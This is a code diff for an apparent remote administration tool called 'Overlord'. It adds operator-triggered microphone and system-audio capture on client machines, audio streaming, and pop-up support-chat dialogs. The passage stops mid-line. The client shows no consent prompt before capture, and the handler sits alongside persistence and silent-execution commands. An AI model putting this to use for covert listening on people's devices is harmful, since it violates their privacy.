Voice Support
+Live two-way audio channel for remote support.
+diff --git a/Overlord-Client/cmd/agent/audio/capabilities.go b/Overlord-Client/cmd/agent/audio/capabilities.go new file mode 100644 index 0000000..741a604 --- /dev/null +++ b/Overlord-Client/cmd/agent/audio/capabilities.go @@ -0,0 +1,9 @@ +package audio + +type Capabilities struct { + Available bool `json:"available"` + RequiresCGO bool `json:"requiresCgo"` + Sources []string `json:"sources"` + DefaultSource string `json:"defaultSource"` + Detail string `json:"detail,omitempty"` +} diff --git a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go new file mode 100644 index 0000000..5050fe0 --- /dev/null +++ b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go @@ -0,0 +1,352 @@ +//go:build cgo + +package audio + +import ( + "context" + "errors" + "fmt" + "sort" + "strings" + "sync" + + "github.com/gen2brain/malgo" +) + +const ( + voiceSampleRate = 16000 + voiceChannels = 1 + voiceBytesPerSample = 2 + maxPlaybackBufferMillis = 250 +) + +const maxPlaybackBufferBytes = (voiceSampleRate * voiceChannels * voiceBytesPerSample * maxPlaybackBufferMillis) / 1000 + +type playbackBuffer struct { + mu sync.Mutex + data []byte +} + +func (b *playbackBuffer) Push(p []byte) { + if len(p) == 0 { + return + } + copyBytes := append([]byte(nil), p...) + b.mu.Lock() + b.data = append(b.data, copyBytes...) + if len(b.data) > maxPlaybackBufferBytes { + b.data = b.data[len(b.data)-maxPlaybackBufferBytes:] + } + b.mu.Unlock() +} + +func (b *playbackBuffer) PopInto(out []byte) { + if len(out) == 0 { + return + } + for i := range out { + out[i] = 0 + } + b.mu.Lock() + n := copy(out, b.data) + if n > 0 { + b.data = b.data[n:] + } + b.mu.Unlock() +} + +type Session struct { + ctx context.Context + cancel context.CancelFunc + audioCtx *malgo.AllocatedContext + capture *malgo.Device + playback *malgo.Device + + uplink chan []byte + queue *playbackBuffer + + wg sync.WaitGroup + closeMu sync.Mutex + isClosed bool +} + +func ProbeCapabilities() Capabilities { + ctx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil) + if err != nil { + return Capabilities{ + Available: false, + RequiresCGO: true, + Sources: []string{"default"}, + Detail: "audio backend init failed", + } + } + defer ctx.Free() + + caps := Capabilities{ + Available: true, + RequiresCGO: true, + Sources: []string{"default"}, + DefaultSource: "default", + } + + for _, name := range listCaptureDeviceNames(ctx.Context) { + caps.Sources = append(caps.Sources, "device:"+name) + } + return caps +} + +func listCaptureDeviceNames(ctx malgo.Context) []string { + devices, err := ctx.Devices(malgo.Capture) + if err != nil { + return nil + } + + seen := map[string]bool{} + out := make([]string, 0, len(devices)) + for i := range devices { + name := strings.TrimSpace(devices[i].Name()) + if name == "" { + continue + } + key := strings.ToLower(name) + if seen[key] { + continue + } + seen[key] = true + out = append(out, name) + } + + sort.Slice(out, func(i, j int) bool { + return strings.ToLower(out[i]) < strings.ToLower(out[j]) + }) + return out +} + +func findCaptureDeviceByName(ctx malgo.Context, wanted string) (*malgo.DeviceID, string, bool) { + wanted = strings.TrimSpace(wanted) + if wanted == "" { + return nil, "", false + } + + devices, err := ctx.Devices(malgo.Capture) + if err != nil { + return nil, "", false + } + + for i := range devices { + name := strings.TrimSpace(devices[i].Name()) + if strings.EqualFold(name, wanted) { + id := devices[i].ID + return &id, name, true + } + } + + return nil, "", false +} + +func findSystemCaptureDevice(ctx malgo.Context) (*malgo.DeviceID, string, bool) { + devices, err := ctx.Devices(malgo.Capture) + if err != nil { + return nil, "", false + } + + keywords := []string{ + "stereo mix", + "what u hear", + "monitor", + "loopback", + "output", + "speakers", + } + + for i := range devices { + name := strings.ToLower(devices[i].Name()) + for _, keyword := range keywords { + if strings.Contains(name, keyword) { + id := devices[i].ID + return &id, devices[i].Name(), true + } + } + } + + return nil, "", false +} + +func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) { + if onCapture == nil { + return nil, errors.New("voice capture callback is required") + } + source = strings.TrimSpace(source) + + audioCtx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil) + if err != nil { + return nil, fmt.Errorf("audio init failed: %w", err) + } + + ctx, cancel := context.WithCancel(parent) + s := &Session{ + ctx: ctx, + cancel: cancel, + audioCtx: audioCtx, + uplink: make(chan []byte, 24), + queue: &playbackBuffer{}, + } + + playCfg := malgo.DefaultDeviceConfig(malgo.Playback) + playCfg.SampleRate = voiceSampleRate + playCfg.Playback.Format = malgo.FormatS16 + playCfg.Playback.Channels = voiceChannels + + playCallbacks := malgo.DeviceCallbacks{ + Data: func(output, _ []byte, _ uint32) { + s.queue.PopInto(output) + }, + } + playDev, err := malgo.InitDevice(audioCtx.Context, playCfg, playCallbacks) + if err != nil { + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio playback init failed: %w", err) + } + s.playback = playDev + + capCfg := malgo.DefaultDeviceConfig(malgo.Capture) + capCfg.SampleRate = voiceSampleRate + capCfg.Capture.Format = malgo.FormatS16 + capCfg.Capture.Channels = voiceChannels + if strings.EqualFold(source, "system") { + deviceID, deviceName, ok := findSystemCaptureDevice(audioCtx.Context) + if !ok || deviceID == nil { + s.playback.Stop() + s.playback.Uninit() + audioCtx.Free() + cancel() + return nil, errors.New("system audio capture device was not found on this client") + } + _ = deviceName + capCfg.Capture.DeviceID = deviceID.Pointer() + } else if strings.HasPrefix(strings.ToLower(source), "device:") { + deviceName := strings.TrimSpace(source[len("device:"):]) + deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, deviceName) + if !ok || deviceID == nil { + s.playback.Stop() + s.playback.Uninit() + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture device was not found: %s", deviceName) + } + capCfg.Capture.DeviceID = deviceID.Pointer() + } else if source != "" && !strings.EqualFold(source, "default") && !strings.EqualFold(source, "microphone") { + deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, source) + if !ok || deviceID == nil { + s.playback.Stop() + s.playback.Uninit() + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture device was not found: %s", source) + } + capCfg.Capture.DeviceID = deviceID.Pointer() + } + + capCallbacks := malgo.DeviceCallbacks{ + Data: func(_, input []byte, _ uint32) { + if len(input) == 0 { + return + } + chunk := append([]byte(nil), input...) + select { + case s.uplink <- chunk: + default: + // Drop oldest when overloaded to keep latency bounded. + select { + case <-s.uplink: + default: + } + select { + case s.uplink <- chunk: + default: + } + } + }, + } + capDev, err := malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks) + if err != nil { + playDev.Uninit() + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture init failed: %w", err) + } + s.capture = capDev + + if err := playDev.Start(); err != nil { + s.capture.Uninit() + s.playback.Uninit() + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio playback start failed: %w", err) + } + if err := capDev.Start(); err != nil { + s.playback.Stop() + s.capture.Uninit() + s.playback.Uninit() + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture start failed: %w", err) + } + + s.wg.Add(1) + go func() { + defer s.wg.Done() + for { + select { + case <-s.ctx.Done(): + return + case chunk := <-s.uplink: + onCapture(chunk) + } + } + }() + + return s, nil +} + +func (s *Session) WritePlayback(data []byte) error { + if len(data) == 0 { + return nil + } + s.closeMu.Lock() + closed := s.isClosed + s.closeMu.Unlock() + if closed { + return errors.New("voice session is closed") + } + s.queue.Push(data) + return nil +} + +func (s *Session) Close() error { + s.closeMu.Lock() + if s.isClosed { + s.closeMu.Unlock() + return nil + } + s.isClosed = true + s.closeMu.Unlock() + + s.cancel() + + if s.capture != nil { + _ = s.capture.Stop() + s.capture.Uninit() + } + if s.playback != nil { + _ = s.playback.Stop() + s.playback.Uninit() + } + if s.audioCtx != nil { + s.audioCtx.Free() + } + + s.wg.Wait() + return nil +} diff --git a/Overlord-Client/cmd/agent/audio/voice_stub.go b/Overlord-Client/cmd/agent/audio/voice_stub.go new file mode 100644 index 0000000..0ca3ada --- /dev/null +++ b/Overlord-Client/cmd/agent/audio/voice_stub.go @@ -0,0 +1,32 @@ +//go:build !cgo + +package audio + +import ( + "context" + "errors" +) + +type Session struct{} + +func ProbeCapabilities() Capabilities { + return Capabilities{ + Available: false, + RequiresCGO: true, + Sources: []string{"default"}, + DefaultSource: "default", + Detail: "native voice support requires a CGO-enabled build", + } +} + +func StartVoiceSession(_ context.Context, _ string, _ func([]byte)) (*Session, error) { + return nil, errors.New("native voice support requires a CGO-enabled build") +} + +func (s *Session) WritePlayback(_ []byte) error { + return errors.New("voice session is unavailable") +} + +func (s *Session) Close() error { + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 91e6182..ca61ea2 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2,15 +2,19 @@ package handlers import ( "context" + "encoding/json" "errors" + "fmt" "log" "os" + "os/exec" goruntime "runtime" "strconv" "strings" "sync" "time" + "overlord-client/cmd/agent/audio" "overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/console" "overlord-client/cmd/agent/persistence" @@ -24,8 +28,16 @@ var ErrReconnect = errors.New("reconnect requested") var ( activeCommands = make(map[string]context.CancelFunc) activeCommandsMu sync.Mutex + voiceSessionMu sync.Mutex + voiceSession *voiceRuntime ) +type voiceRuntime struct { + sessionID string + cancel context.CancelFunc + session *audio.Session +} + func cancelAllCommands() { activeCommandsMu.Lock() defer activeCommandsMu.Unlock() @@ -74,6 +86,8 @@ func resetForReconnect(env *runtime.Env) { env.Console.StopAll() } + stopVoiceSession() + env.NotificationMu.Lock() env.NotificationKeywords = nil env.NotificationMinIntervalMs = 0 @@ -250,6 +264,171 @@ func payloadNumberToInt64(value interface{}) int64 { } } +func stopVoiceSession() { + voiceSessionMu.Lock() + v := voiceSession + voiceSession = nil + voiceSessionMu.Unlock() + if v == nil { + return + } + if v.cancel != nil { + v.cancel() + } + if v.session != nil { + _ = v.session.Close() + } +} + +func startVoiceSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error { + if sessionID == "" { + return errors.New("missing voice session id") + } + + stopVoiceSession() + + vCtx, cancel := context.WithCancel(ctx) + session, err := audio.StartVoiceSession(vCtx, source, func(chunk []byte) { + if len(chunk) == 0 { + return + } + msg := map[string]interface{}{ + "type": "voice_uplink", + "sessionId": sessionID, + "data": chunk, + } + _ = wire.WriteMsg(vCtx, env.Conn, msg) + }) + if err != nil { + cancel() + return err + } + + v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session} + voiceSessionMu.Lock() + voiceSession = v + voiceSessionMu.Unlock() + + return nil +} + +func writeVoiceDownlink(data []byte) error { + voiceSessionMu.Lock() + v := voiceSession + voiceSessionMu.Unlock() + if v == nil || len(data) == 0 { + return nil + } + if v.session == nil { + return errors.New("voice session not ready") + } + if err := v.session.WritePlayback(data); err != nil { + return err + } + return nil +} + +func showSupportChatDialog(message, operator string, requireReply bool) (string, error) { + msg := strings.TrimSpace(message) + if msg == "" { + return "", errors.New("missing support message") + } + title := "Remote Support" + if operator = strings.TrimSpace(operator); operator != "" { + title = fmt.Sprintf("Remote Support - %s", operator) + } + + switch goruntime.GOOS { + case "windows": + return showSupportChatWindows(msg, title, requireReply) + case "darwin": + return showSupportChatDarwin(msg, title, requireReply) + case "linux": + return showSupportChatLinux(msg, title, requireReply) + default: + return "", fmt.Errorf("support chat is not supported on %s", goruntime.GOOS) + } +} + +func showSupportChatWindows(message, title string, requireReply bool) (string, error) { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + + var cmd *exec.Cmd + if requireReply { + script := `[void][Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $resp=[Microsoft.VisualBasic.Interaction]::InputBox($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,''); Write-Output $resp` + cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script) + } else { + script := `Add-Type -AssemblyName PresentationFramework; [void][System.Windows.MessageBox]::Show($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,[System.Windows.MessageBoxButton]::OK,[System.Windows.MessageBoxImage]::Information)` + cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script) + } + cmd.Env = append(os.Environ(), + "OVERLORD_SUPPORT_MESSAGE="+message, + "OVERLORD_SUPPORT_TITLE="+title, + ) + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("windows support dialog failed: %w", err) + } + if !requireReply { + return "", nil + } + return strings.TrimSpace(string(out)), nil +} + +func showSupportChatDarwin(message, title string, requireReply bool) (string, error) { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + + esc := func(s string) string { + s = strings.ReplaceAll(s, `\\`, `\\\\`) + s = strings.ReplaceAll(s, `"`, `\\"`) + return s + } + msg := esc(message) + ttl := esc(title) + + var script string + if requireReply { + script = fmt.Sprintf(`text returned of (display dialog "%s" with title "%s" default answer "" buttons {"Send"} default button "Send")`, msg, ttl) + } else { + script = fmt.Sprintf(`display dialog "%s" with title "%s" buttons {"OK"} default button "OK"`, msg, ttl) + } + + out, err := exec.CommandContext(ctx, "osascript", "-e", script).CombinedOutput() + if err != nil { + return "", fmt.Errorf("macOS support dialog failed: %w", err) + } + if !requireReply { + return "", nil + } + return strings.TrimSpace(string(out)), nil +} + +func showSupportChatLinux(message, title string, requireReply bool) (string, error) { + if _, err := exec.LookPath("zenity"); err != nil { + return "", errors.New("zenity is required for support chat on Linux") + } + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + + if requireReply { + cmd := exec.CommandContext(ctx, "zenity", "--entry", "--title", title, "--text", message) + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("linux support input failed: %w", err) + } + return strings.TrimSpace(string(out)), nil + } + + cmd := exec.CommandContext(ctx, "zenity", "--info", "--title", title, "--text", message) + if _, err := cmd.CombinedOutput(); err != nil { + return "", fmt.Errorf("linux support message failed: %w", err) + } + return "", nil +} + func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { cmdID, _ := envelope["id"].(string) action, _ := envelope["commandType"].(string) @@ -1116,6 +1295,36 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in _ = sessionID console.Resize(sessionID, cols, rows) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "voice_session_start": + sessionID, _ := envelopePayloadString(envelope, "sessionId") + source := "default" + payload, _ := envelope["payload"].(map[string]interface{}) + if payload != nil { + if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" { + source = strings.TrimSpace(v) + } + } + if err := startVoiceSession(ctx, env, sessionID, source); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "voice_session_stop": + stopVoiceSession() + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "voice_downlink": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"}) + } + data, _ := payload["data"].([]byte) + if err := writeVoiceDownlink(data); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "voice_capabilities": + caps := audio.ProbeCapabilities() + payload, _ := json.Marshal(caps) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)}) } switch action { @@ -1270,6 +1479,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in scriptType = "powershell" } return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType) + case "support_chat": + payload, _ := envelope["payload"].(map[string]interface{}) + message, _ := payload["message"].(string) + operator, _ := payload["operator"].(string) + requireReply := true + if payload != nil { + if v, ok := payload["requireReply"].(bool); ok { + requireReply = v + } + } + reply, err := showSupportChatDialog(message, operator, requireReply) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + if requireReply { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: strings.TrimSpace(reply)}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: "delivered"}) case "silent_exec": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod index 381a1cf..784df79 100644 --- a/Overlord-Client/go.mod +++ b/Overlord-Client/go.mod @@ -12,7 +12,10 @@ require ( nhooyr.io/websocket v1.8.10 ) -require golang.org/x/sys v0.24.0 +require ( + github.com/gen2brain/malgo v0.11.24 + golang.org/x/sys v0.24.0 +) require ( github.com/gen2brain/shm v0.1.0 // indirect diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum index 566efcc..a1a733f 100644 --- a/Overlord-Client/go.sum +++ b/Overlord-Client/go.sum @@ -2,6 +2,8 @@ github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE= +github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww= github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY= github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA= github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU= diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index f35028c..f16e395 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -122,6 +122,51 @@ export async function sendCommand(clientId, action) { } } +export async function sendSupportChat(clientId, message, requireReply = true) { + try { + const res = await fetch(`/api/clients/${clientId}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "support_chat", message, requireReply }), + }); + const data = await res.json().catch(() => ({})); + if (!res.ok) { + return { + ok: false, + error: data?.error || `support chat failed ${res.status}`, + response: "", + }; + } + return { + ok: Boolean(data?.ok), + error: data?.error || "", + response: typeof data?.response === "string" ? data.response : "", + }; + } catch (err) { + console.error(err); + return { ok: false, error: "Support chat request failed", response: "" }; + } +} + +export async function fetchVoiceCapabilities(clientId) { + try { + const res = await fetch(`/api/clients/${clientId}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "voice_capabilities" }), + }); + const data = await res.json().catch(() => ({})); + return { + ok: Boolean(data?.ok), + capabilities: data?.capabilities || null, + error: data?.error || (res.ok ? "" : `voice capabilities failed ${res.status}`), + }; + } catch (err) { + console.error(err); + return { ok: false, capabilities: null, error: "Voice capability probe failed" }; + } +} + export async function requestPreview(clientId) { const ok = await sendCommand(clientId, "screenshot"); if (ok) { diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 4bb98bb..dec3d66 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -637,6 +637,12 @@ menu.addEventListener("click", async (e) => { } const action = target.dataset.action; + if (open === "voice") { + window.open(`/voice?clientId=${contextCard}`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } + if (action === "uninstall") { if ( !confirm( diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 14205a6..4490b3d 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -5,6 +5,7 @@ menu.className = menu.style.maxHeight = "min(70vh, 520px)"; menu.innerHTML = ` + diff --git a/Overlord-Server/public/assets/voice.js b/Overlord-Server/public/assets/voice.js new file mode 100644 index 0000000..7f520a4 --- /dev/null +++ b/Overlord-Server/public/assets/voice.js @@ -0,0 +1,473 @@ +import { fetchVoiceCapabilities } from "./data.js"; + +const params = new URLSearchParams(window.location.search); +const clientId = params.get("clientId") || ""; + +if (!clientId) { + alert("Missing clientId"); + throw new Error("Missing clientId"); +} + +const connectBtn = document.getElementById("connect-btn"); +const disconnectBtn = document.getElementById("disconnect-btn"); +const statusPill = document.getElementById("status-pill"); +const localWaveCanvas = document.getElementById("local-wave"); +const remoteWaveCanvas = document.getElementById("remote-wave"); +const sourceSelect = document.getElementById("source-select"); +const muteSelfBtn = document.getElementById("mute-self-btn"); +const muteRemoteBtn = document.getElementById("mute-remote-btn"); + +let ws = null; +let mediaStream = null; +let sourceNode = null; +let processorNode = null; +let captureAudioCtx = null; +let playAudioCtx = null; +let playProcessorNode = null; +let selfMuted = true; +let remoteMuted = true; +let playbackChunks = []; +let playbackChunkReadOffset = 0; +let levelLoopRunning = false; +const WAVE_SIZE = 2048; +const WAVE_VISUAL_GAIN = 1.8; +const CAPTURE_FRAME_SIZE = 512; +const PLAYBACK_FRAME_SIZE = 512; +const MAX_PLAYBACK_BUFFER_MS = 120; +const localWaveBuffer = new Float32Array(WAVE_SIZE); +const remoteWaveBuffer = new Float32Array(WAVE_SIZE); +let localWaveWrite = 0; +let remoteWaveWrite = 0; + +const UPLINK_SAMPLE_RATE = 16000; + +function sourceLabel(source) { + if (source === "default" || source === "microphone") { + return "Default Input"; + } + if (source === "system") { + return "System Audio"; + } + if (typeof source === "string" && source.startsWith("device:")) { + const name = source.slice("device:".length).trim(); + return name || "Audio Device"; + } + return String(source || "Audio Source"); +} + +function setStatus(text, cls) { + if (!statusPill) return; + statusPill.className = + "inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls; + statusPill.innerHTML = `${text}`; +} + +function downsampleTo16k(float32Buffer, sampleRate) { + if (sampleRate === 16000) return float32Buffer; + const ratio = sampleRate / 16000; + const newLength = Math.round(float32Buffer.length / ratio); + const out = new Float32Array(newLength); + let offsetOut = 0; + let offsetIn = 0; + while (offsetOut < out.length) { + const nextOffsetIn = Math.round((offsetOut + 1) * ratio); + let accum = 0; + let count = 0; + for (let i = offsetIn; i < nextOffsetIn && i < float32Buffer.length; i++) { + accum += float32Buffer[i]; + count++; + } + out[offsetOut] = count > 0 ? accum / count : 0; + offsetOut++; + offsetIn = nextOffsetIn; + } + return out; +} + +function floatToInt16(float32Buffer) { + const out = new Int16Array(float32Buffer.length); + for (let i = 0; i < float32Buffer.length; i++) { + const s = Math.max(-1, Math.min(1, float32Buffer[i])); + out[i] = s < 0 ? s * 0x8000 : s * 0x7fff; + } + return out; +} + +function clearPlaybackQueue() { + playbackChunks = []; + playbackChunkReadOffset = 0; +} + +function pushWaveSamples(ring, writePos, samples) { + for (let i = 0; i < samples.length; i++) { + ring[writePos] = samples[i]; + writePos = (writePos + 1) % ring.length; + } + return writePos; +} + +function ensureCanvasSize(canvas) { + if (!canvas) return; + const dpr = window.devicePixelRatio || 1; + const width = Math.max(1, Math.floor(canvas.clientWidth * dpr)); + const height = Math.max(1, Math.floor(canvas.clientHeight * dpr)); + if (canvas.width !== width || canvas.height !== height) { + canvas.width = width; + canvas.height = height; + } +} + +function drawWave(canvas, ring, writePos, strokeStyle) { + if (!canvas) return; + ensureCanvasSize(canvas); + const ctx = canvas.getContext("2d"); + if (!ctx) return; + + const w = canvas.width; + const h = canvas.height; + const mid = h / 2; + + ctx.fillStyle = "rgba(15, 23, 42, 0.72)"; + ctx.fillRect(0, 0, w, h); + + ctx.strokeStyle = "rgba(148, 163, 184, 0.35)"; + ctx.lineWidth = Math.max(1, Math.floor((window.devicePixelRatio || 1))); + ctx.beginPath(); + ctx.moveTo(0, mid); + ctx.lineTo(w, mid); + ctx.stroke(); + + ctx.strokeStyle = strokeStyle; + ctx.lineWidth = Math.max(1.5, 1.5 * (window.devicePixelRatio || 1)); + ctx.beginPath(); + const len = ring.length; + for (let x = 0; x < w; x++) { + const idx = (writePos + Math.floor((x / w) * len)) % len; + const sample = Math.max(-1, Math.min(1, (ring[idx] || 0) * WAVE_VISUAL_GAIN)); + const y = mid - sample * (h * 0.42); + if (x === 0) ctx.moveTo(x, y); + else ctx.lineTo(x, y); + } + ctx.stroke(); +} + +function startLevelLoop() { + if (levelLoopRunning) return; + levelLoopRunning = true; + + const tick = () => { + if (!levelLoopRunning) return; + + drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)"); + drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)"); + + requestAnimationFrame(tick); + }; + + requestAnimationFrame(tick); +} + +function stopLevelLoop() { + levelLoopRunning = false; + localWaveBuffer.fill(0); + remoteWaveBuffer.fill(0); + localWaveWrite = 0; + remoteWaveWrite = 0; + drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)"); + drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)"); +} + +function resampleInt16ToFloat32(srcInt16, srcRate, dstRate) { + if (!srcInt16 || srcInt16.length === 0) { + return new Float32Array(0); + } + + if (srcRate === dstRate) { + const out = new Float32Array(srcInt16.length); + for (let i = 0; i < srcInt16.length; i++) { + out[i] = srcInt16[i] / 0x8000; + } + return out; + } + + const outLength = Math.max(1, Math.round((srcInt16.length * dstRate) / srcRate)); + const out = new Float32Array(outLength); + const step = srcRate / dstRate; + + for (let i = 0; i < outLength; i++) { + const srcPos = i * step; + const i0 = Math.floor(srcPos); + const i1 = Math.min(i0 + 1, srcInt16.length - 1); + const frac = srcPos - i0; + const sample = srcInt16[i0] * (1 - frac) + srcInt16[i1] * frac; + out[i] = sample / 0x8000; + } + + return out; +} + +function appendPlaybackPcm(binary) { + if (!playAudioCtx) { + initPlaybackEngine(); + } + + const samples = Math.floor(binary.byteLength / 2); + if (samples <= 0) return; + const src = new Int16Array(binary.buffer, binary.byteOffset, samples); + const chunk = resampleInt16ToFloat32(src, UPLINK_SAMPLE_RATE, playAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE); + if (chunk.length === 0) return; + playbackChunks.push(chunk); + remoteWaveWrite = pushWaveSamples(remoteWaveBuffer, remoteWaveWrite, chunk); + + // Keep roughly <= 2 seconds buffered to avoid stale replay artifacts. + let bufferedSamples = -playbackChunkReadOffset; + for (const chunk of playbackChunks) bufferedSamples += chunk.length; + const sampleRate = playAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE; + const maxSamples = Math.max(PLAYBACK_FRAME_SIZE, Math.round(sampleRate * (MAX_PLAYBACK_BUFFER_MS / 1000))); + while (bufferedSamples > maxSamples && playbackChunks.length > 0) { + const dropped = playbackChunks.shift(); + bufferedSamples -= dropped?.length || 0; + playbackChunkReadOffset = 0; + } +} + +function initPlaybackEngine() { + if (!playAudioCtx) { + playAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" }); + } + if (!playProcessorNode) { + playProcessorNode = playAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1); + playProcessorNode.onaudioprocess = (event) => { + const out = event.outputBuffer.getChannelData(0); + out.fill(0); + + if (remoteMuted) return; + + let writeIndex = 0; + while (writeIndex < out.length && playbackChunks.length > 0) { + const head = playbackChunks[0]; + const remaining = head.length - playbackChunkReadOffset; + if (remaining <= 0) { + playbackChunks.shift(); + playbackChunkReadOffset = 0; + continue; + } + + const needed = out.length - writeIndex; + const take = Math.min(needed, remaining); + out.set(head.subarray(playbackChunkReadOffset, playbackChunkReadOffset + take), writeIndex); + + writeIndex += take; + playbackChunkReadOffset += take; + if (playbackChunkReadOffset >= head.length) { + playbackChunks.shift(); + playbackChunkReadOffset = 0; + } + } + }; + playProcessorNode.connect(playAudioCtx.destination); + } +} + +async function startMicCapture() { + mediaStream = await navigator.mediaDevices.getUserMedia({ + audio: { + channelCount: 1, + echoCancellation: false, + noiseSuppression: false, + autoGainControl: false, + }, + video: false, + }); + captureAudioCtx = new AudioContext({ latencyHint: "interactive" }); + sourceNode = captureAudioCtx.createMediaStreamSource(mediaStream); + processorNode = captureAudioCtx.createScriptProcessor(CAPTURE_FRAME_SIZE, 1, 1); + + sourceNode.connect(processorNode); + processorNode.connect(captureAudioCtx.destination); + + processorNode.onaudioprocess = (event) => { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + if (selfMuted) return; + + const inData = event.inputBuffer.getChannelData(0); + const downsampled = downsampleTo16k(inData, captureAudioCtx.sampleRate); + localWaveWrite = pushWaveSamples(localWaveBuffer, localWaveWrite, downsampled); + const pcm16 = 